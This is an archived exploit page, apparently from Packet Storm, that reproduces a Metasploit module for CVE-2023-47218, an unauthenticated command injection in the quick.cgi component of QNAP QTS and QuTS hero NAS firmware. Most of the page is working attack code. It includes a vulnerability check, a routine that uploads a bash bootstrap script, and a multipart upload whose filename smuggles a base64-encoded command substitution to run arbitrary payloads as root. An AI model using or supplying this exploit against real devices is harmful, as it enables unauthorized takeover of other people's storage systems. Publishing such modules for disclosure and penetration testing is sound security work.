exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution

QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution
Posted Feb 22, 2024
Authored by Spencer McIntyre, jheysel-r7, sfewer-r7 | Site metasploit.com

There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device's web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system. An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.

tags | exploit, web, arbitrary, cgi
advisories | CVE-2023-47218
SHA-256 | 512c538bc485b9095fb0fb14daba0e91a985496262d3017dc3aaf05f8005e9ad

QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi',
'Description' => %q{
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.

The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
initialized, the quick.cgi component is disabled on the system.

An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
injection, allowing the attacker to execute arbitrary commands on the device.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # CVE discovery, MSF module, Rapid7 Blog
'Spencer McIntyre', # Assistance
'jheysel-r7' # Docs
],
'References' => [
['CVE', '2023-47218'],
['URL', 'https://www.qnap.com/en/security-advisory/qsa-23-57'],
['URL', 'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed']
],
'DisclosureDate' => '2024-02-13',
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [ [ 'Default', {} ] ],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'FETCH_WRITABLE_DIR' => '/mnt/update'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/quick/quick.cgi',
'vars_get' => {
'func' => Rex::Text.rand_text_alphanumeric(8)
}
)

return CheckCode::Unknown('Connection failed') unless res

return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404

return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

# This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533):

# <?xml version="1.0" encoding="UTF-8"?>
# <Storage>
# <Result>failure</Result>
# <Errcode>801</Errcode>
# <Errmsg>
# No Parameter.
# </Errmsg>
# </Storage>

return Exploit::CheckCode::Detected if res.body.include? '<Result>failure</Result>'

CheckCode::Unknown
end

def exploit
# XXX: the command injection has a limit of 127 characters, so we drop our payload to a file and then execute that file.
bootstrap_file = Rex::Text.rand_text_alphanumeric(8)

bootstrap_script = [
'#!/bin/bash',
payload.encoded
].join("\n")

upload_file(bootstrap_file, bootstrap_script)
register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")
execute_command("bash #{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")
end

def execute_command(cmd)
cmd_injection_filename = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d))\""

upload_file(Rex::Text.uri_encode(cmd_injection_filename), Rex::Text.rand_text_alphanumeric(8))
register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{cmd_injection_filename}")
end

def upload_file(file_name, file_data)
if file_name.length > 127
fail_with(Failure::BadConfig, "The upload file name is too long (#{file_name.length}), must be < 128 bytes.")
end

data = Rex::MIME::Message.new
data.add_part(file_data, 'text/plain', 'binary', "form-data; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{Rex::Text.rand_text_alphanumeric(8)}\"; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{file_name}\"")

send_request_cgi(
'method' => 'POST',
'uri' => '/cgi-bin/quick/quick.cgi',
'vars_get' => {
'func' => 'switch_os',
'todo' => 'uploaf_firmware_image'
},
'headers' => {
'User-Agent' => 'Mozilla Macintosh'
},
'ctype' => "multipart/form-data;boundary=\"#{data.bound}\"",
'data' => data.to_s
)
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close